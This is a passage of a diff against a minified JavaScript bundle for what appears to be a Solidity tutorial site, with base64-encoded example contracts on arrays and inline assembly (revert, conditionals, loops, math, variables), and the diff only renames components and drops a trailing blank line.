BbMSwgMiwgNCwgNSwgNl0KICAgIC8vIFsxLCAyLCAzLCA0LCA1LCA2XSAtLSByZW1vdmUoMCkgLS0+IFsyLCAzLCA0LCA1LCA2LCA2XSAtLT4gWzIsIDMsIDQsIDUsIDZdCiAgICAvLyBbMV0gLS0gcmVtb3ZlKDApIC0tPiBbMV0gLS0+IFtdCgogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQyNTYgX2luZGV4KSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUoX2luZGV4IDwgYXJyLmxlbmd0aCwgImluZGV4IG91dCBvZiBib3VuZCIpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IF9pbmRleDsgaSA8IGFyci5sZW5ndGggLSAxOyBpKyspIHsKICAgICAgICAgICAgYXJyW2ldID0gYXJyW2kgKyAxXTsKICAgICAgICB9CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBleHRlcm5hbCB7CiAgICAgICAgYXJyID0gWzEsIDIsIDMsIDQsIDVdOwogICAgICAgIHJlbW92ZSgyKTsKICAgICAgICAvLyBbMSwgMiwgNCwgNV0KICAgICAgICBhc3NlcnQoYXJyWzBdID09IDEpOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclsyXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzNdID09IDUpOwogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDQpOwoKICAgICAgICBhcnIgPSBbMV07CiAgICAgICAgcmVtb3ZlKDApOwogICAgICAgIC8vIFtdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMCk7CiAgICB9Cn0K"},{fileName:"ArrayReplaceFromEnd.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFycmF5UmVwbGFjZUZyb21FbmQgewogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgLy8gRGVsZXRpbmcgYW4gZWxlbWVudCBjcmVhdGVzIGEgZ2FwIGluIHRoZSBhcnJheS4KICAgIC8vIE9uZSB0cmljayB0byBrZWVwIHRoZSBhcnJheSBjb21wYWN0IGlzIHRvCiAgICAvLyBtb3ZlIHRoZSBsYXN0IGVsZW1lbnQgaW50byB0aGUgcGxhY2UgdG8gZGVsZXRlLgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQyNTYgaW5kZXgpIHB1YmxpYyB7CiAgICAgICAgLy8gTW92ZSB0aGUgbGFzdCBlbGVtZW50IGludG8gdGhlIHBsYWNlIHRvIGRlbGV0ZQogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIC8vIFJlbW92ZSB0aGUgbGFzdCBlbGVtZW50CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIGFyciA9IFsxLCAyLCAzLCA0XTsKCiAgICAgICAgcmVtb3ZlKDEpOwogICAgICAgIC8vIFsxLCA0LCAzXQogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDMpOwogICAgICAgIGFzc2VydChhcnJbMF0gPT0gMSk7CiAgICAgICAgYXNzZXJ0KGFyclsxXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzJdID09IDMpOwoKICAgICAgICByZW1vdmUoMik7CiAgICAgICAgLy8gWzEsIDRdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclswXSA9PSAxKTsKICAgICAgICBhc3NlcnQoYXJyWzFdID09IDQpOwogICAgfQp9Cg=="}],YA=`

                  Array can have a compile-time fixed size or a dynamic size.

                  +`,Wu=({prev:s,next:a})=>r.jsx(A,{version:mu,title:bu,description:wu,html:Zu,prev:s,next:a,codes:ku}),Bu="0.8.24",Gu="Array",Vu="Learn about arrays in Solidity",fu=[{fileName:"Array.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFycmF5IHsKICAgIC8vIFNldmVyYWwgd2F5cyB0byBpbml0aWFsaXplIGFuIGFycmF5CiAgICB1aW50MjU2W10gcHVibGljIGFycjsKICAgIHVpbnQyNTZbXSBwdWJsaWMgYXJyMiA9IFsxLCAyLCAzXTsKICAgIC8vIEZpeGVkIHNpemVkIGFycmF5LCBhbGwgZWxlbWVudHMgaW5pdGlhbGl6ZSB0byAwCiAgICB1aW50MjU2WzEwXSBwdWJsaWMgbXlGaXhlZFNpemVBcnI7CgogICAgZnVuY3Rpb24gZ2V0KHVpbnQyNTYgaSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhcnJbaV07CiAgICB9CgogICAgLy8gU29saWRpdHkgY2FuIHJldHVybiB0aGUgZW50aXJlIGFycmF5LgogICAgLy8gQnV0IHRoaXMgZnVuY3Rpb24gc2hvdWxkIGJlIGF2b2lkZWQgZm9yCiAgICAvLyBhcnJheXMgdGhhdCBjYW4gZ3JvdyBpbmRlZmluaXRlbHkgaW4gbGVuZ3RoLgogICAgZnVuY3Rpb24gZ2V0QXJyKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NltdIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhcnI7CiAgICB9CgogICAgZnVuY3Rpb24gcHVzaCh1aW50MjU2IGkpIHB1YmxpYyB7CiAgICAgICAgLy8gQXBwZW5kIHRvIGFycmF5CiAgICAgICAgLy8gVGhpcyB3aWxsIGluY3JlYXNlIHRoZSBhcnJheSBsZW5ndGggYnkgMS4KICAgICAgICBhcnIucHVzaChpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBwb3AoKSBwdWJsaWMgewogICAgICAgIC8vIFJlbW92ZSBsYXN0IGVsZW1lbnQgZnJvbSBhcnJheQogICAgICAgIC8vIFRoaXMgd2lsbCBkZWNyZWFzZSB0aGUgYXJyYXkgbGVuZ3RoIGJ5IDEKICAgICAgICBhcnIucG9wKCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TGVuZ3RoKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBhcnIubGVuZ3RoOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZSh1aW50MjU2IGluZGV4KSBwdWJsaWMgewogICAgICAgIC8vIERlbGV0ZSBkb2VzIG5vdCBjaGFuZ2UgdGhlIGFycmF5IGxlbmd0aC4KICAgICAgICAvLyBJdCByZXNldHMgdGhlIHZhbHVlIGF0IGluZGV4IHRvIGl0J3MgZGVmYXVsdCB2YWx1ZSwKICAgICAgICAvLyBpbiB0aGlzIGNhc2UgMAogICAgICAgIGRlbGV0ZSBhcnJbaW5kZXhdOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4YW1wbGVzKCkgZXh0ZXJuYWwgewogICAgICAgIC8vIGNyZWF0ZSBhcnJheSBpbiBtZW1vcnksIG9ubHkgZml4ZWQgc2l6ZSBjYW4gYmUgY3JlYXRlZAogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYSA9IG5ldyB1aW50MjU2W10oNSk7CiAgICB9Cn0K"},{fileName:"ArrayRemoveByShifting.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFycmF5UmVtb3ZlQnlTaGlmdGluZyB7CiAgICAvLyBbMSwgMiwgM10gLS0gcmVtb3ZlKDEpIC0tPiBbMSwgMywgM10gLS0+IFsxLCAzXQogICAgLy8gWzEsIDIsIDMsIDQsIDUsIDZdIC0tIHJlbW92ZSgyKSAtLT4gWzEsIDIsIDQsIDUsIDYsIDZdIC0tPiBbMSwgMiwgNCwgNSwgNl0KICAgIC8vIFsxLCAyLCAzLCA0LCA1LCA2XSAtLSByZW1vdmUoMCkgLS0+IFsyLCAzLCA0LCA1LCA2LCA2XSAtLT4gWzIsIDMsIDQsIDUsIDZdCiAgICAvLyBbMV0gLS0gcmVtb3ZlKDApIC0tPiBbMV0gLS0+IFtdCgogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQyNTYgX2luZGV4KSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUoX2luZGV4IDwgYXJyLmxlbmd0aCwgImluZGV4IG91dCBvZiBib3VuZCIpOwoKICAgICAgICBmb3IgKHVpbnQyNTYgaSA9IF9pbmRleDsgaSA8IGFyci5sZW5ndGggLSAxOyBpKyspIHsKICAgICAgICAgICAgYXJyW2ldID0gYXJyW2kgKyAxXTsKICAgICAgICB9CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBleHRlcm5hbCB7CiAgICAgICAgYXJyID0gWzEsIDIsIDMsIDQsIDVdOwogICAgICAgIHJlbW92ZSgyKTsKICAgICAgICAvLyBbMSwgMiwgNCwgNV0KICAgICAgICBhc3NlcnQoYXJyWzBdID09IDEpOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclsyXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzNdID09IDUpOwogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDQpOwoKICAgICAgICBhcnIgPSBbMV07CiAgICAgICAgcmVtb3ZlKDApOwogICAgICAgIC8vIFtdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMCk7CiAgICB9Cn0K"},{fileName:"ArrayReplaceFromEnd.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFycmF5UmVwbGFjZUZyb21FbmQgewogICAgdWludDI1NltdIHB1YmxpYyBhcnI7CgogICAgLy8gRGVsZXRpbmcgYW4gZWxlbWVudCBjcmVhdGVzIGEgZ2FwIGluIHRoZSBhcnJheS4KICAgIC8vIE9uZSB0cmljayB0byBrZWVwIHRoZSBhcnJheSBjb21wYWN0IGlzIHRvCiAgICAvLyBtb3ZlIHRoZSBsYXN0IGVsZW1lbnQgaW50byB0aGUgcGxhY2UgdG8gZGVsZXRlLgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQyNTYgaW5kZXgpIHB1YmxpYyB7CiAgICAgICAgLy8gTW92ZSB0aGUgbGFzdCBlbGVtZW50IGludG8gdGhlIHBsYWNlIHRvIGRlbGV0ZQogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIC8vIFJlbW92ZSB0aGUgbGFzdCBlbGVtZW50CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIGFyciA9IFsxLCAyLCAzLCA0XTsKCiAgICAgICAgcmVtb3ZlKDEpOwogICAgICAgIC8vIFsxLCA0LCAzXQogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDMpOwogICAgICAgIGFzc2VydChhcnJbMF0gPT0gMSk7CiAgICAgICAgYXNzZXJ0KGFyclsxXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzJdID09IDMpOwoKICAgICAgICByZW1vdmUoMik7CiAgICAgICAgLy8gWzEsIDRdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclswXSA9PSAxKTsKICAgICAgICBhc3NlcnQoYXJyWzFdID09IDQpOwogICAgfQp9Cg=="}],Yu=`

                  Array can have a compile-time fixed size or a dynamic size.

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -3302,7 +3302,7 @@ Each slot in the array can store 32 bytes.
                  
         assert(arr[1] == 4);
     }
 }
-
                  `,RA=({prev:s,next:a})=>r.jsx(u,{version:BA,title:GA,description:VA,html:YA,prev:s,next:a,codes:fA}),XA="0.8.24",vA="Assembly Error",NA="Example of error in assembly",HA=[{fileName:"AssemblyError.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5RXJyb3IgewogICAgZnVuY3Rpb24geXVsX3JldmVydCh1aW50MjU2IHgpIHB1YmxpYyBwdXJlIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIHJldmVydChwLCBzKSAtIGVuZCBleGVjdXRpb24KICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV2ZXJ0IHN0YXRlIGNoYW5nZXMKICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV0dXJuIGRhdGEgbWVtW3DigKYocCtzKSkKICAgICAgICAgICAgaWYgZ3QoeCwgMTApIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9Cn0K"}],FA=`

                  Example of error in assembly

                  +`,Ru=({prev:s,next:a})=>r.jsx(A,{version:Bu,title:Gu,description:Vu,html:Yu,prev:s,next:a,codes:fu}),Xu="0.8.24",vu="Assembly Error",Nu="Example of error in assembly",Hu=[{fileName:"AssemblyError.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5RXJyb3IgewogICAgZnVuY3Rpb24geXVsX3JldmVydCh1aW50MjU2IHgpIHB1YmxpYyBwdXJlIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIHJldmVydChwLCBzKSAtIGVuZCBleGVjdXRpb24KICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV2ZXJ0IHN0YXRlIGNoYW5nZXMKICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV0dXJuIGRhdGEgbWVtW3DigKYocCtzKSkKICAgICAgICAgICAgaWYgZ3QoeCwgMTApIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9Cn0K"}],Fu=`

                  Example of error in assembly

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -3316,7 +3316,7 @@ Each slot in the array can store 32 bytes.
                  
         }
     }
 }
-
                  `,KA=({prev:s,next:a})=>r.jsx(u,{version:XA,title:vA,description:NA,html:FA,prev:s,next:a,codes:HA}),MA="0.8.24",SA="Assembly Conditional Statements",xA="Example of conditional statements in assembly",JA=[{fileName:"AssemblyIf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5SWYgewogICAgZnVuY3Rpb24geXVsX2lmKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBpZiBjb25kaXRpb24gPSAxIHsgY29kZSB9CiAgICAgICAgICAgIC8vIG5vIGVsc2UKICAgICAgICAgICAgLy8gaWYgMCB7IHogOj0gOTkgfQogICAgICAgICAgICAvLyBpZiAxIHsgeiA6PSA5OSB9CiAgICAgICAgICAgIGlmIGx0KHgsIDEwKSB7IHogOj0gOTkgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB5dWxfc3dpdGNoKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICBjYXNlIDEgeyB6IDo9IDEwIH0KICAgICAgICAgICAgY2FzZSAyIHsgeiA6PSAyMCB9CiAgICAgICAgICAgIGRlZmF1bHQgeyB6IDo9IDAgfQogICAgICAgIH0KICAgIH0KfQo="}],zA=`

                  Example of conditional statements in assembly

                  +`,Ku=({prev:s,next:a})=>r.jsx(A,{version:Xu,title:vu,description:Nu,html:Fu,prev:s,next:a,codes:Hu}),Mu="0.8.24",Su="Assembly Conditional Statements",xu="Example of conditional statements in assembly",Ju=[{fileName:"AssemblyIf.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5SWYgewogICAgZnVuY3Rpb24geXVsX2lmKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBpZiBjb25kaXRpb24gPSAxIHsgY29kZSB9CiAgICAgICAgICAgIC8vIG5vIGVsc2UKICAgICAgICAgICAgLy8gaWYgMCB7IHogOj0gOTkgfQogICAgICAgICAgICAvLyBpZiAxIHsgeiA6PSA5OSB9CiAgICAgICAgICAgIGlmIGx0KHgsIDEwKSB7IHogOj0gOTkgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB5dWxfc3dpdGNoKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICBjYXNlIDEgeyB6IDo9IDEwIH0KICAgICAgICAgICAgY2FzZSAyIHsgeiA6PSAyMCB9CiAgICAgICAgICAgIGRlZmF1bHQgeyB6IDo9IDAgfQogICAgICAgIH0KICAgIH0KfQo="}],zu=`

                  Example of conditional statements in assembly

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -3340,7 +3340,7 @@ Each slot in the array can store 32 bytes.
                  
         }
     }
 }
-
                  `,DA=({prev:s,next:a})=>r.jsx(u,{version:MA,title:SA,description:xA,html:zA,prev:s,next:a,codes:JA}),EA="0.8.24",QA="Assembly Loop",TA="Example of loop in assembly",UA=[{fileName:"AssemblyLoop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5TG9vcCB7CiAgICBmdW5jdGlvbiB5dWxfZm9yX2xvb3AoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGZvciB7IGxldCBpIDo9IDAgfSBsdChpLCAxMCkgeyBpIDo9IGFkZChpLCAxKSB9IHsgeiA6PSBhZGQoeiwgMSkgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB5dWxfd2hpbGVfbG9vcCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQyNTYgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGkgOj0gMAogICAgICAgICAgICBmb3Ige30gbHQoaSwgNSkge30gewogICAgICAgICAgICAgICAgaSA6PSBhZGQoaSwgMSkKICAgICAgICAgICAgICAgIHogOj0gYWRkKHosIDEpCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K"}],_A=`

                  Example of loop in assembly

                  +`,Du=({prev:s,next:a})=>r.jsx(A,{version:Mu,title:Su,description:xu,html:zu,prev:s,next:a,codes:Ju}),Eu="0.8.24",Qu="Assembly Loop",Tu="Example of loop in assembly",Uu=[{fileName:"AssemblyLoop.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5TG9vcCB7CiAgICBmdW5jdGlvbiB5dWxfZm9yX2xvb3AoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGZvciB7IGxldCBpIDo9IDAgfSBsdChpLCAxMCkgeyBpIDo9IGFkZChpLCAxKSB9IHsgeiA6PSBhZGQoeiwgMSkgfQogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiB5dWxfd2hpbGVfbG9vcCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQyNTYgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGkgOj0gMAogICAgICAgICAgICBmb3Ige30gbHQoaSwgNSkge30gewogICAgICAgICAgICAgICAgaSA6PSBhZGQoaSwgMSkKICAgICAgICAgICAgICAgIHogOj0gYWRkKHosIDEpCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K"}],_u=`

                  Example of loop in assembly

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -3361,7 +3361,7 @@ Each slot in the array can store 32 bytes.
                  
         }
     }
 }
-
                  `,LA=({prev:s,next:a})=>r.jsx(u,{version:EA,title:QA,description:TA,html:_A,prev:s,next:a,codes:UA}),OA="0.8.24",PA="Assembly Math",$A="Example of math in assembly",qA=[{fileName:"AssemblyMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5TWF0aCB7CiAgICBmdW5jdGlvbiB5dWxfYWRkKHVpbnQyNTYgeCwgdWludDI1NiB5KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHogOj0gYWRkKHgsIHkpCiAgICAgICAgICAgIGlmIGx0KHosIHgpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24geXVsX211bCh1aW50MjU2IHgsIHVpbnQyNTYgeSkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICBjYXNlIDAgeyB6IDo9IDAgfQogICAgICAgICAgICBkZWZhdWx0IHsKICAgICAgICAgICAgICAgIHogOj0gbXVsKHgsIHkpCiAgICAgICAgICAgICAgICBpZiBpc3plcm8oZXEoZGl2KHosIHgpLCB5KSkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIC8vIFJvdW5kIHRvIG5lYXJlc3QgbXVsdGlwbGUgb2YgYgogICAgZnVuY3Rpb24geXVsX2ZpeGVkX3BvaW50X3JvdW5kKHVpbnQyNTYgeCwgdWludDI1NiBiKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBiID0gMTAwCiAgICAgICAgICAgIC8vIHggPSA5MAogICAgICAgICAgICAvLyB6ID0gOTAgLyAxMDAgKiAxMDAgPSAwLCB3YW50IHogPSAxMDAKICAgICAgICAgICAgLy8geiA6PSBtdWwoZGl2KHgsIGIpLCBiKQoKICAgICAgICAgICAgbGV0IGhhbGYgOj0gZGl2KGIsIDIpCiAgICAgICAgICAgIHogOj0gYWRkKHgsIGhhbGYpCiAgICAgICAgICAgIHogOj0gbXVsKGRpdih6LCBiKSwgYikKICAgICAgICAgICAgLy8geCA9IDkwCiAgICAgICAgICAgIC8vIGhhbGYgPSA1MAogICAgICAgICAgICAvLyB6ID0gOTAgKyA1MCA9IDE0MAogICAgICAgICAgICAvLyB6ID0gMTQwIC8gMTAwICogMTAwID0gMTAwCiAgICAgICAgfQogICAgfQp9Cg=="}],sy=`

                  Example of math in assembly

                  +`,Lu=({prev:s,next:a})=>r.jsx(A,{version:Eu,title:Qu,description:Tu,html:_u,prev:s,next:a,codes:Uu}),Ou="0.8.24",Pu="Assembly Math",$u="Example of math in assembly",qu=[{fileName:"AssemblyMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5TWF0aCB7CiAgICBmdW5jdGlvbiB5dWxfYWRkKHVpbnQyNTYgeCwgdWludDI1NiB5KSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2IHopIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHogOj0gYWRkKHgsIHkpCiAgICAgICAgICAgIGlmIGx0KHosIHgpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24geXVsX211bCh1aW50MjU2IHgsIHVpbnQyNTYgeSkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICBjYXNlIDAgeyB6IDo9IDAgfQogICAgICAgICAgICBkZWZhdWx0IHsKICAgICAgICAgICAgICAgIHogOj0gbXVsKHgsIHkpCiAgICAgICAgICAgICAgICBpZiBpc3plcm8oZXEoZGl2KHosIHgpLCB5KSkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIC8vIFJvdW5kIHRvIG5lYXJlc3QgbXVsdGlwbGUgb2YgYgogICAgZnVuY3Rpb24geXVsX2ZpeGVkX3BvaW50X3JvdW5kKHVpbnQyNTYgeCwgdWludDI1NiBiKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBiID0gMTAwCiAgICAgICAgICAgIC8vIHggPSA5MAogICAgICAgICAgICAvLyB6ID0gOTAgLyAxMDAgKiAxMDAgPSAwLCB3YW50IHogPSAxMDAKICAgICAgICAgICAgLy8geiA6PSBtdWwoZGl2KHgsIGIpLCBiKQoKICAgICAgICAgICAgbGV0IGhhbGYgOj0gZGl2KGIsIDIpCiAgICAgICAgICAgIHogOj0gYWRkKHgsIGhhbGYpCiAgICAgICAgICAgIHogOj0gbXVsKGRpdih6LCBiKSwgYikKICAgICAgICAgICAgLy8geCA9IDkwCiAgICAgICAgICAgIC8vIGhhbGYgPSA1MAogICAgICAgICAgICAvLyB6ID0gOTAgKyA1MCA9IDE0MAogICAgICAgICAgICAvLyB6ID0gMTQwIC8gMTAwICogMTAwID0gMTAwCiAgICAgICAgfQogICAgfQp9Cg=="}],sy=`

                  Example of math in assembly

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -3406,7 +3406,7 @@ Each slot in the array can store 32 bytes.
                  
         }
     }
 }
-
                  `,ay=({prev:s,next:a})=>r.jsx(u,{version:OA,title:PA,description:$A,html:sy,prev:s,next:a,codes:qA}),ny="0.8.24",ly="Assembly Variable",py="Example of how to declare variable inside assembly",ey=[{fileName:"AssemblyVariable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5VmFyaWFibGUgewogICAgZnVuY3Rpb24geXVsX2xldCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQyNTYgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gTGFuZ3VhZ2UgdXNlZCBmb3IgYXNzZW1ibHkgaXMgY2FsbGVkIFl1bAogICAgICAgICAgICAvLyBMb2NhbCB2YXJpYWJsZXMKICAgICAgICAgICAgbGV0IHggOj0gMTIzCiAgICAgICAgICAgIHogOj0gNDU2CiAgICAgICAgfQogICAgfQp9Cg=="}],cy=`

                  Example of how to declare variables inside assembly

                  +`,ay=({prev:s,next:a})=>r.jsx(A,{version:Ou,title:Pu,description:$u,html:sy,prev:s,next:a,codes:qu}),ny="0.8.24",ly="Assembly Variable",py="Example of how to declare variable inside assembly",ey=[{fileName:"AssemblyVariable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5VmFyaWFibGUgewogICAgZnVuY3Rpb24geXVsX2xldCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQyNTYgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gTGFuZ3VhZ2UgdXNlZCBmb3IgYXNzZW1ibHkgaXMgY2FsbGVkIFl1bAogICAgICAgICAgICAvLyBMb2NhbCB2YXJpYWJsZXMKICAgICAgICAgICAgbGV0IHggOj0gMTIzCiAgICAgICAgICAgIHogOj0gNDU2CiAgICAgICAgfQogICAgfQp9Cg=="}],cy=`

                  Example of how to declare variables inside assembly

                  // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -3420,7 +3420,7 @@ Each slot in the array can store 32 bytes.
                  
         }
     }
 }
-
